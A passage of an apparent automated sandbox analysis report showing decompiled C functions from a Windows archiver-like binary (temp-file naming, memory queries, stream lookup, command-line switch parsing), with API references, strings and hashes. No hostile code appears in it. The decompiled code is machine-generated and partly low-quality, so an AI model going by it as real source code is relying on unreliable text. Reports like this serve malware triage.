				void* __ebp;
				signed int _t21;
				signed int _t22;
				signed int _t23;
				signed char _t26;
				long _t28;
				signed int _t34;
				signed char _t35;
				void* _t40;
				void* _t42;
				void* _t49;
				unsigned int _t53;
				signed short** _t54;
				unsigned int _t59;
				void* _t60;

				_t42 = __edx;
				_v12 = __ecx;
				_t21 = GetCurrentThreadId();
				_t22 = GetTickCount();
				_t23 = GetCurrentProcessId();
				_t54 = _a4;
				_t59 = (_t21 << 0x00000002 ^ _t22) << 0x0000000c ^ _t23;
				_v8 = _v8 & 0x00000000;
				do {
					E01232A28(_t54, _v12);
					if(_t42 == 0) {
						L12:
						_t69 = _a8;
						_t42 = 1;
						if(_a8 != 0) {
							E01232CAD(_t54, ".tmp");
						}
						if(E01236229( *_t54, _t69) == 0) {
							__eflags = _a8;
							if(_a8 == 0) {
								_t26 = E01235008( *_t54);
							} else {
								_t26 = E0123699C( *_t54, 0);
							}
							__eflags = _t26;
							if(_t26 != 0) {
								return 1;
							} else {
								_t28 = GetLastError();
								__eflags = _t28 - 0x50;
								if(_t28 == 0x50) {
									goto L22;
								}
								__eflags = _t28 - 0xb7;
								if(_t28 != 0xb7) {
									break;
								}
								goto L22;
							}
						} else {
							SetLastError(0xb7);
							goto L22;
						}
					}
					_t53 = _t59;
					_t49 = 0;
					do {
						_t34 = _t53 & 0x0000000f;
						_t53 = _t53 >> 4;
						if(_t34 >= 0xa) {
							_t35 = _t34 + 0x37;
							__eflags = _t35;
						} else {
							_t35 = _t34 + 0x30;
						}
						 *(_t60 + _t49 - 0x18) = _t35;
						_t49 = _t49 + 1;
					} while (_t49 < 8);
					 *(_t60 + _t49 - 0x18) =  *(_t60 + _t49 - 0x18) & 0x00000000;
					if(_a8 != 0) {
						E01231089(_t54, 0x2e);
					}
					E01232CAD(_t54,  &_v28);
					_t40 = GetTickCount() + 2;
					if(_t40 == 0) {
						_t40 = 1;
					}
					_t59 = _t59 + _t40;
					goto L12;
					L22:
					_v8 = _v8 + 1;
				} while (_v8 < 0x64);
				_t54[1] = _t54[1] & 0x00000000;
				 *( *_t54) =  *( *_t54) & 0x00000000;
				return 0;
			}

0x012356bd
0x012356bf
0x012356c2
0x012356cd
0x012356d8
0x012356de
0x012356e1
0x012356e3
0x012356e7
0x012356ec
0x012356f3
0x01235746
0x01235746
0x0123574a
0x0123574c
0x01235755
0x01235755
0x01235763
0x01235775
0x01235777
0x01235787
0x01235779
0x0123577e
0x0123577e
0x0123578c
0x0123578e
0x00000000
0x01235790
0x01235790
0x01235796
0x01235799
0x00000000
0x00000000
0x0123579b
0x012357a0
0x00000000
0x00000000
0x00000000
0x012357a0
0x01235765
0x0123576a
0x00000000
0x0123576a
0x01235763
0x012356f5
0x012356f7
0x012356f9
0x012356fb
0x012356fe
0x01235704
0x0123570b
0x0123570b
0x01235706
0x01235706
0x01235706
0x0123570e
0x01235712
0x01235713
0x01235718
0x01235721
0x01235727
0x01235727
0x01235732
0x0123573e
0x0123573f
0x01235743
0x01235743
0x01235744
0x00000000
0x012357a2
0x012357a2
0x012357a5
0x012357b1
0x012357b5
0x00000000

APIs

GetCurrentThreadId.KERNEL32 ref: 012356C2
GetTickCount.KERNEL32 ref: 012356CD
GetCurrentProcessId.KERNEL32 ref: 012356D8
GetTickCount.KERNEL32 ref: 01235737
SetLastError.KERNEL32(000000B7,?), ref: 0123576A
GetLastError.KERNEL32(?), ref: 01235790

Part of subcall function 01235008: __EH_prolog.LIBCMT ref: 0123500D
Part of subcall function 01235008: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000001), ref: 0123502F

Strings

.tmp, xrefs: 0123574E
d, xrefs: 012357A5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CountCurrentErrorLastTick$CreateDirectoryH_prologProcessThread
String ID: .tmp$d
API String ID: 43677640-2797371523
Opcode ID: a5e6028aa44186cd15baaf5c307926c9c7b84b50ece83acc45086ec5dc770fda
Instruction ID: dfda05997f086ebf84228ab78de79fe2bcd30d998cdc0ee8c8d5159a03ea8897
Opcode Fuzzy Hash: a5e6028aa44186cd15baaf5c307926c9c7b84b50ece83acc45086ec5dc770fda
Instruction Fuzzy Hash: F0315CF1A30201DBEB2AAB74D48D7BD7BA5EFE1311F144029EA0A972C0C7748841CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01238652 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E01238652(intOrPtr* __ecx) {
				struct _MEMORYSTATUS _v36;
				signed int _v56;
				intOrPtr _v60;
				signed int _v88;
				intOrPtr _v92;
				char _v100;
				_Unknown_base(*)()* _t20;
				intOrPtr _t22;
				intOrPtr _t25;
				signed int _t28;
				intOrPtr* _t29;
				void* _t32;

				_t29 = __ecx;
				 *__ecx = 0x80000000;
				 *(__ecx + 4) =  *(__ecx + 4) & 0x00000000;
				_v100 = 0x40;
				_t20 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GlobalMemoryStatusEx");
				if(_t20 == 0) {
					L8:
					_v36.dwLength = 0x20;
					GlobalMemoryStatus( &_v36);
					_t22 = _v36.dwTotalVirtual;
					if(_t22 >= _v36.dwTotalPhys) {
						_t22 = _v36.dwTotalPhys;
					}
					 *_t29 = _t22;
					 *(_t29 + 4) =  *(_t29 + 4) & 0x00000000;
				} else {
					_push( &_v100);
					if( *_t20() == 0) {
						goto L8;
					} else {
						_t28 = _v56;
						_t25 = _v92;
						_t32 = _t28 - _v88;
						if(_t32 > 0 || _t32 >= 0 && _v60 >= _t25) {
							_t28 = _v88;
						} else {
							_t25 = _v60;
						}
						 *_t29 = _t25;
						 *(_t29 + 4) = _t28;
					}
				}
				return 1;
			}

0x01238659
0x01238665
0x0123866b
0x0123866f
0x0123867d
0x01238685
0x012386b2
0x012386b5
0x012386bd
0x012386c3
0x012386c9
0x012386cb
0x012386cb
0x012386ce
0x012386d0
0x01238687
0x0123868a
0x0123868f
0x00000000
0x01238691
0x01238691
0x01238694
0x01238697
0x0123869a
0x012386a8
0x012386a3
0x012386a3
0x012386a3
0x012386ab
0x012386ad
0x012386ad
0x0123868f
0x012386d8

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 01238676
GetProcAddress.KERNEL32(00000000), ref: 0123867D
GlobalMemoryStatus.KERNEL32 ref: 012386BD

Strings

Nqt, xrefs: 0123867D
@, xrefs: 0123866F
kernel32.dll, xrefs: 01238660
, xrefs: 012386B5
GlobalMemoryStatusEx, xrefs: 0123865B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressGlobalHandleMemoryModuleProcStatus
String ID: $@$GlobalMemoryStatusEx$kernel32.dll$Nqt
API String ID: 2450578220-3878547479
Opcode ID: edbeba44af8fe7503ed5924f4ec200c747770741ee99b6c5bd0cec1214513056
Instruction ID: ba4fe552ad006692393860fb64e1776e40ee72e227153bdc176c2d2af35d99e5
Opcode Fuzzy Hash: edbeba44af8fe7503ed5924f4ec200c747770741ee99b6c5bd0cec1214513056
Instruction Fuzzy Hash: 38111BB0921309DFDB20DF94D999AADBBF8BF94305F10491CE642AB284D778A884CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0125A845 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0125A845(void* __ecx) {
				void* _t29;
				signed int _t31;
				struct _IO_FILE** _t56;
				intOrPtr _t60;
				void* _t61;
				void* _t63;

				E012639E0(0x12670a0, _t63);
				_push(__ecx);
				 *(_t63 - 0x10) = 0x12746e0;
				EnterCriticalSection(0x12746e0);
				 *(_t63 - 4) =  *(_t63 - 4) & 0x00000000;
				_t29 = E0125A3B2();
				if(_t29 == 0) {
					_t60 =  *((intOrPtr*)(_t63 + 8));
					E0125A997(_t60);
					_t56 =  *(_t60 + 0xc8);
					if(_t56 != 0) {
						E01231CAE(_t56);
						fputs("Would you like to replace the existing file:\n",  *_t56);
						E0125A9BE( *(_t60 + 0xc8),  *((intOrPtr*)(_t63 + 0xc)),  *((intOrPtr*)(_t63 + 0x10)),  *((intOrPtr*)(_t63 + 0x14)));
						fputs("with the file from archive:\n",  *( *(_t60 + 0xc8)));
						E0125A9BE( *(_t60 + 0xc8),  *((intOrPtr*)(_t63 + 0x18)),  *((intOrPtr*)(_t63 + 0x1c)),  *((intOrPtr*)(_t63 + 0x20)));
					}
					_t31 = E01262D21( *(_t60 + 0xc8));
					if(_t31 > 7) {
						L16:
						_t61 = 0x80004005;
						goto L17;
					} else {
						switch( *((intOrPtr*)(_t31 * 4 +  &M0125A977))) {
							case 0:
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24)) =  *( *(__ebp + 0x24)) & 0x00000000;
								goto L12;
							case 1:
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24)) = 2;
								goto L12;
							case 2:
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24)) = 1;
								goto L12;
							case 3:
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24)) = 3;
								goto L12;
							case 4:
								__eax =  *(__ebp + 0x24);
								 *( *(__ebp + 0x24)) = 4;
								L12:
								__ecx =  *((intOrPtr*)(__esi + 0xc8));
								if(__ecx != 0) {
									__eax = E01231CAE(__ecx);
									if( *((char*)(__esi + 0x168)) != 0) {
										__ecx =  *((intOrPtr*)(__esi + 0xc8));
										__eax = E01231C9F( *((intOrPtr*)(__esi + 0xc8)));
									}
								}
								__eax = E0125A3B2();
								goto L1;
							case 5:
								_t61 = 0x80004004;
								L17:
								LeaveCriticalSection(0x12746e0);
								 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
								return _t61;
							case 6:
								goto L16;
						}
					}
				}
				L1:
				_t61 = _t29;
				goto L17;
			}

0x0125a84a
0x0125a84f
0x0125a858
0x0125a85b
0x0125a861
0x0125a865
0x0125a86c
0x0125a875
0x0125a87b
0x0125a880
0x0125a888
0x0125a88c
0x0125a89e
0x0125a8b1
0x0125a8c3
0x0125a8d6
0x0125a8d6
0x0125a8e1
0x0125a8ea
0x0125a959
0x0125a959
0x00000000
0x0125a8ec
0x0125a8ec
0x00000000
0x0125a91b
0x0125a91e
0x00000000
0x00000000
0x0125a8fa
0x0125a8fd
0x00000000
0x00000000
0x0125a910
0x0125a913
0x00000000
0x00000000
0x0125a905
0x0125a908
0x00000000
0x00000000
0x0125a923
0x0125a926
0x0125a92c
0x0125a92c
0x0125a934
0x0125a936
0x0125a942
0x0125a944
0x0125a94a
0x0125a94a
0x0125a942
0x0125a94f
0x00000000
0x00000000
0x0125a8f3
0x0125a95e
0x0125a95f
0x0125a96c
0x0125a974
0x00000000
0x00000000
0x00000000
0x0125a8ec
0x0125a8ea
0x0125a86e
0x0125a86e
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0125A84A
EnterCriticalSection.KERNEL32(012746E0), ref: 0125A85B
fputs.MSVCRT ref: 0125A89E
fputs.MSVCRT ref: 0125A8C3
LeaveCriticalSection.KERNEL32(012746E0), ref: 0125A95F

Strings

with the file from archive:, xrefs: 0125A8BE
Would you like to replace the existing file:, xrefs: 0125A899

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CriticalSectionfputs$EnterH_prologLeave
String ID: Would you like to replace the existing file:$with the file from archive:
API String ID: 3914623533-686978020
Opcode ID: 4e77801e739381ca285d22d854fe50ff8ace1a45d865def8c618fdc231a00f74
Instruction ID: 087008d723930df761c05f3e9b1fdebf864a9ee092e4ccc4629c6c5aa006c702
Opcode Fuzzy Hash: 4e77801e739381ca285d22d854fe50ff8ace1a45d865def8c618fdc231a00f74
Instruction Fuzzy Hash: 1831BF79220216DFEB61EF64D886BAA77F1FF48300F024609ED1A57290CB71AC50CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01235A14 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01235A14() {
				CHAR* _t7;

				_t7 = "kernel32.dll";
				 *0x1274454 = GetProcAddress(GetModuleHandleA(_t7), "FindFirstStreamW");
				 *0x1274450 = GetProcAddress(GetModuleHandleA(_t7), "FindNextStreamW");
				return 0x127444c;
			}

0x01235a2d
0x01235a4b
0x01235a55
0x01235a60

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,FindFirstStreamW), ref: 01235A3A
GetProcAddress.KERNEL32(00000000), ref: 01235A43
GetModuleHandleA.KERNEL32(kernel32.dll,FindNextStreamW), ref: 01235A50
GetProcAddress.KERNEL32(00000000), ref: 01235A53

Strings

FindNextStreamW, xrefs: 01235A45
kernel32.dll, xrefs: 01235A2D, 01235A39, 01235A4A
FindFirstStreamW, xrefs: 01235A32

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc
String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
API String ID: 1646373207-4044117955
Opcode ID: f8fd2bbab9c0a903dbbdeb58e548d40eb4ff2aed216908c1459a08ef05f77c02
Instruction ID: 43fa3d6f817c6c42d0c17476d5b6f9f74f96acf3d89810f5397f656a7db4013f
Opcode Fuzzy Hash: f8fd2bbab9c0a903dbbdeb58e548d40eb4ff2aed216908c1459a08ef05f77c02
Instruction Fuzzy Hash: 60E080B2A71398A7851077EB7C4DC27FB5CD7951553010057F101E3155DAF558015750

Uniqueness

Uniqueness Score: -1.00%

Function 0125834E Relevance: 11.4, APIs: 9, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E0125834E(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t20;
				signed int _t21;
				void* _t24;
				signed int _t25;
				signed int _t28;
				intOrPtr _t29;
				signed int* _t30;

				_t30 = _a12;
				_t29 = _a8;
				 *_t30 =  *_t30 & 0x00000000;
				_t24 = 0x10;
				_push(_t24);
				_push(0x126cdf8);
				_push(_t29);
				L01263D72();
				if(_t20 != 0) {
					_push(_t24);
					_push(0x126c458);
					_push(_t29);
					L01263D72();
					if(_t20 == 0) {
						goto L1;
					}
					_push(_t24);
					_push(0x126c448);
					_push(_t29);
					L01263D72();
					if(_t20 != 0) {
						_push(_t24);
						_push(0x126c4d8);
						_push(_t29);
						L01263D72();
						if(_t20 != 0) {
							_push(_t24);
							_push(0x126c488);
							_push(_t29);
							L01263D72();
							if(_t20 != 0) {
								_push(_t24);
								_push(0x126c478);
								_push(_t29);
								L01263D72();
								if(_t20 != 0) {
									_push(_t24);
									_push(0x126c3f8);
									_push(_t29);
									L01263D72();
									if(_t20 != 0) {
										_push(_t24);
										_push(0x126c408);
										_push(_t29);
										L01263D72();
										if(_t20 != 0) {
											_push(_t24);
											_push(0x126c3e8);
											_push(_t29);
											L01263D72();
											if(_t20 != 0) {
												return 0x80004002;
											}
											_t21 = _a4;
											_t25 = _t21;
											_t28 = _t21 + 0x1c;
											L17:
											asm("sbb ecx, ecx");
											 *_t30 =  ~_t25 & _t28;
											L18:
											 *((intOrPtr*)(_t21 + 0x24)) =  *((intOrPtr*)(_t21 + 0x24)) + 1;
											return 0;
										}
										_t21 = _a4;
										_t25 = _t21;
										_t28 = _t21 + 0x18;
										goto L17;
									}
									_t21 = _a4;
									_t25 = _t21;
									_t28 = _t21 + 0x14;
									goto L17;
								}
								_t21 = _a4;
								_t25 = _t21;
								_t28 = _t21 + 0x10;
								goto L17;
							}
							_t21 = _a4;
							_t25 = _t21;
							_t28 = _t21 + 0xc;
							goto L17;
						}
						_t21 = _a4;
						_t25 = _t21;
						_t28 = _t21 + 8;
						goto L17;
					}
					_t21 = _a4;
					_t25 = _t21;
					_t28 = _t21 + 4;
					goto L17;
				}
				L1:
				_t21 = _a4;
				 *_t30 = _t21;
				goto L18;
			}

0x01258353
0x01258357
0x0125835c
0x0125835f
0x01258360
0x01258361
0x01258366
0x01258367
0x01258371
0x0125837d
0x0125837e
0x01258383
0x01258384
0x0125838e
0x00000000
0x00000000
0x01258390
0x01258391
0x01258396
0x01258397
0x012583a1
0x012583b0
0x012583b1
0x012583b6
0x012583b7
0x012583c1
0x012583d0
0x012583d1
0x012583d6
0x012583d7
0x012583e1
0x012583ed
0x012583ee
0x012583f3
0x012583f4
0x012583fe
0x0125840a
0x0125840b
0x01258410
0x01258411
0x0125841b
0x01258427
0x01258428
0x0125842d
0x0125842e
0x01258438
0x01258444
0x01258445
0x0125844a
0x0125844b
0x01258455
0x00000000
0x0125846e
0x01258457
0x0125845a
0x0125845c
0x0125845f
0x01258461
0x01258465
0x01258467
0x01258467
0x00000000
0x0125846a
0x0125843a
0x0125843d
0x0125843f
0x00000000
0x0125843f
0x0125841d
0x01258420
0x01258422
0x00000000
0x01258422
0x01258400
0x01258403
0x01258405
0x00000000
0x01258405
0x012583e3
0x012583e6
0x012583e8
0x00000000
0x012583e8
0x012583c3
0x012583c6
0x012583c8
0x00000000
0x012583c8
0x012583a3
0x012583a6
0x012583a8
0x00000000
0x012583a8
0x01258373
0x01258373
0x01258376
0x00000000

APIs

memcmp.MSVCRT ref: 01258367
memcmp.MSVCRT ref: 01258384
memcmp.MSVCRT ref: 01258397

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: c13ae8dc159b652606cd0e197b2696bad4a9997810e3611de8bba542e7195914
Instruction ID: 899231e2373a49bbbf70a8d754e30d44689b263994ed12945cb1142065354894
Opcode Fuzzy Hash: c13ae8dc159b652606cd0e197b2696bad4a9997810e3611de8bba542e7195914
Instruction Fuzzy Hash: 0E31E2713702067BD715EF16CCC1E7A37ACEA71584B00852DFE499A256F7B0DD8082A1

Uniqueness

Uniqueness Score: -1.00%

Function 0123125E Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0123125E(intOrPtr __ecx) {
				char _t72;
				signed int _t80;
				void* _t81;
				signed int _t83;
				signed int _t90;
				signed int* _t95;
				intOrPtr _t103;
				void* _t108;
				void* _t109;
				signed int _t114;
				char* _t117;
				signed int _t118;
				signed int _t119;
				signed int _t122;
				signed int _t126;
				char* _t127;
				void* _t128;

				E012639E0(E01264138, _t128);
				_t95 =  *(_t128 + 8);
				_t122 = 0;
				 *((intOrPtr*)(_t128 - 0x10)) = __ecx;
				if(_t95[1] == 0 ||  *( *_t95) != 0x2d) {
					L33:
					_t72 = 0;
					goto L34;
				} else {
					 *(_t128 - 0x18) =  *(_t128 - 0x18) | 0xffffffff;
					 *(_t128 + 8) = 0;
					if( *((intOrPtr*)(_t128 + 0x10)) <= 0) {
						L12:
						_push("Unknown switch:");
						goto L32;
					} else {
						 *((intOrPtr*)(_t128 - 0x14)) =  *((intOrPtr*)(_t128 + 0xc));
						do {
							_t126 = 0;
							_t117 =  *((intOrPtr*)( *((intOrPtr*)(_t128 - 0x14))));
							if( *_t117 == 0) {
								goto L6;
							} else {
								goto L5;
							}
							do {
								L5:
								_t126 = _t126 + 1;
							} while ( *((char*)(_t126 + _t117)) != 0);
							L6:
							if(_t126 >  *(_t128 - 0x18)) {
								_t14 = _t126 + 1; // 0x100
								if(_t14 <= _t95[1]) {
									_t15 =  *_t95 + 2; // 0x101
									if(E0123215C(_t15, _t117) != 0) {
										_t122 =  *(_t128 + 8);
										 *(_t128 - 0x18) = _t126;
									}
								}
							}
							 *(_t128 + 8) =  *(_t128 + 8) + 1;
							 *((intOrPtr*)(_t128 - 0x14)) =  *((intOrPtr*)(_t128 - 0x14)) + 0xc;
						} while ( *(_t128 + 8) <  *((intOrPtr*)(_t128 + 0x10)));
						_t118 =  *(_t128 - 0x18);
						if(_t118 >= 0) {
							_t119 = _t118 + 1;
							_t127 =  *((intOrPtr*)( *((intOrPtr*)(_t128 - 0x10)))) + (_t122 + _t122 * 4) * 4;
							_t103 =  *((intOrPtr*)(_t128 + 0xc));
							_t80 = _t122 + _t122 * 2;
							_t81 = _t103 + _t80 * 4;
							if( *((char*)(_t103 + 5 + _t80 * 4)) != 0 ||  *_t127 == 0) {
								 *_t127 = 1;
								 *((intOrPtr*)(_t128 + 0x10)) = _t95[1] - _t119;
								if( *((intOrPtr*)(_t128 + 0x10)) >= ( *(_t81 + 6) & 0x000000ff)) {
									 *(_t127 + 1) =  *(_t127 + 1) & 0x00000000;
									 *(_t127 + 4) =  *(_t127 + 4) | 0xffffffff;
									_t108 = ( *(_t81 + 4) & 0x000000ff) - 1;
									if(_t108 == 0) {
										if( *((intOrPtr*)(_t128 + 0x10)) != 1) {
											L30:
											if(_t119 == _t95[1]) {
												L26:
												_t72 = 1;
												L34:
												 *[fs:0x0] =  *((intOrPtr*)(_t128 - 0xc));
												return _t72;
											}
											_push("Too long switch:");
											goto L32;
										}
										_t83 =  *_t95 & 0xffffff00 |  *((short*)( *_t95 + _t119 * 2)) == 0x0000002d;
										 *(_t127 + 1) = _t83;
										if(_t83 != 0) {
											goto L26;
										}
										L24:
										_push("Incorrect switch postfix:");
										goto L32;
									}
									_t109 = _t108 - 1;
									if(_t109 == 0) {
										E0123292C(_t128 - 0x24,  *_t95 + _t119 * 2);
										 *(_t128 - 4) =  *(_t128 - 4) & 0x00000000;
										_push(_t128 - 0x24);
										_t58 = _t127 + 8; // 0x107
										E01231ABD(E0123150C(_t58),  *((intOrPtr*)(_t128 - 0x24)));
										goto L26;
									}
									if(_t109 != 1 ||  *((intOrPtr*)(_t128 + 0x10)) != 1) {
										goto L30;
									} else {
										_t114 =  *_t95;
										_t120 =  *((intOrPtr*)(_t114 + _t119 * 2));
										if( *((intOrPtr*)(_t114 + _t119 * 2)) > 0x7f) {
											goto L24;
										}
										_t90 = E01231F73(_t81,  *((intOrPtr*)(_t81 + 8)), _t120);
										 *(_t127 + 4) = _t90;
										if(_t90 >= 0) {
											goto L26;
										}
										goto L24;
									}
								}
								_push("Too short switch:");
								goto L32;
							} else {
								_push("Multiple instances for switch:");
								L32:
								_t68 =  *((intOrPtr*)(_t128 - 0x10)) + 0x14; // 0x15
								E012323B0(_t68);
								goto L33;
							}
						}
						goto L12;
					}
				}
			}

0x01231263
0x0123126c
0x01231271
0x01231273
0x01231279
0x012313d2
0x012313d2
0x00000000
0x0123128b
0x0123128b
0x01231292
0x01231295
0x012312e9
0x012312e9
0x00000000
0x01231297
0x0123129a
0x0123129d
0x012312a0
0x012312a2
0x012312a7
0x00000000
0x00000000
0x00000000
0x00000000
0x012312a9
0x012312a9
0x012312a9
0x012312aa
0x012312b0
0x012312b3
0x012312b8
0x012312bd
0x012312c1
0x012312cb
0x012312cd
0x012312d0
0x012312d0
0x012312cb
0x012312bd
0x012312d3
0x012312d6
0x012312dd
0x012312e2
0x012312e7
0x012312f9
0x012312fc
0x012312ff
0x01231302
0x0123130a
0x0123130d
0x0123131e
0x01231326
0x01231330
0x0123133c
0x01231340
0x01231348
0x01231349
0x012313a8
0x012313bd
0x012313c0
0x012313a0
0x012313a0
0x012313d4
0x012313da
0x012313e2
0x012313e2
0x012313c2
0x00000000
0x012313c2
0x012313b1
0x012313b6
0x012313b9
0x00000000
0x00000000
0x01231372
0x01231372
0x00000000
0x01231372
0x0123134b
0x0123134c
0x01231382
0x01231387
0x0123138e
0x0123138f
0x0123139a
0x00000000
0x0123139f
0x0123134f
0x00000000
0x01231357
0x01231357
0x01231359
0x01231361
0x00000000
0x00000000
0x01231366
0x0123136d
0x01231370
0x00000000
0x00000000
0x00000000
0x01231370
0x0123134f
0x01231332
0x00000000
0x01231314
0x01231314
0x012313c7
0x012313ca
0x012313cd
0x00000000
0x012313cd
0x0123130d
0x00000000
0x012312e7
0x01231295

APIs

__EH_prolog.LIBCMT ref: 01231263

Strings

Unknown switch:, xrefs: 012312E9
Too short switch:, xrefs: 01231332
Incorrect switch postfix:, xrefs: 01231372
Multiple instances for switch:, xrefs: 01231314
Too long switch:, xrefs: 012313C2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 3519838083-2104980125
Opcode ID: b283fc4b9c224517225d4b078ce845d21fbc98d6eb9289c79cef6f286faf6b6c
Instruction ID: e6acd02b1e8e832bcbb5d21863d777f6f2c57f75dbad38e247ab68c038c36c6d
Opcode Fuzzy Hash: b283fc4b9c224517225d4b078ce845d21fbc98d6eb9289c79cef6f286faf6b6c
Instruction Fuzzy Hash: 8351CEB0A2424BCFCF15DF18C480ABDBBF5BF91304F04815AD5559B692D770EAA1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0123C531 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0123C531(void* __ecx, intOrPtr __edx, void* __eflags) {
				void* __ebx;
				void* _t59;
				void* _t62;
				void* _t75;
				void* _t76;
				void* _t83;
				signed int _t109;
				signed int _t112;
				void* _t115;

				E012639E0(E01264A18, _t115);
				_t112 = 0;
				 *((intOrPtr*)(_t115 - 0x10)) = __edx;
				_t83 = __ecx;
				 *((intOrPtr*)(_t115 - 0x1c)) = 0;
				 *(_t115 - 0x18) = 0;
				 *((intOrPtr*)(_t115 - 0x14)) = 0;
				_t109 =  *(_t115 + 8);
				 *(_t115 - 4) = 0;
				_t59 = E01236177(_t109, __eflags);
				_t121 = _t59;
				if(_t59 == 0) {
					_push(_t109);
					_push( *0x1268664);
					E01248A22(_t115 - 0x28, _t121);
					_push(0x126ded0);
					_push(_t115 - 0x28);
					L01263CAC();
				}
				_push(_t115 + 8);
				_push( *((intOrPtr*)(_t115 + 0x18)));
				 *(_t115 + 8) = _t112;
				if(E0123176C(_t109, _t115 - 0x1c) == 0) {
					_t123 =  *(_t115 + 8) - _t112;
					if( *(_t115 + 8) != _t112) {
						E012328E9(_t115 - 0x28);
						 *(_t115 - 4) = 1;
						E01232B8A(_t115 - 0x28, "The file operation error for listfile");
						E01232BFE(_t115 - 0x28);
						_t75 = E01234B4D(_t115 - 0x34,  *(_t115 + 8), _t123);
						 *(_t115 - 4) = 2;
						_t76 = E01232C71(_t115 - 0x28, _t123, _t75);
						 *(_t115 - 4) = 1;
						E01231ABD(_t76,  *((intOrPtr*)(_t115 - 0x34)));
						_push(_t109);
						_push( *((intOrPtr*)(_t115 - 0x28)));
						E01248A6E(_t115 - 0x34, _t123);
						_push(0x126ded0);
						_push(_t115 - 0x34);
						L01263CAC();
					}
					_push(_t109);
					_push( *0x1268668);
					E01248A22(_t115 - 0x34, _t123);
					_push(0x126ded0);
					_push(_t115 - 0x34);
					L01263CAC();
				}
				if(_t83 == _t112) {
					__eflags =  *(_t115 - 0x18) - _t112;
					if( *(_t115 - 0x18) > _t112) {
						do {
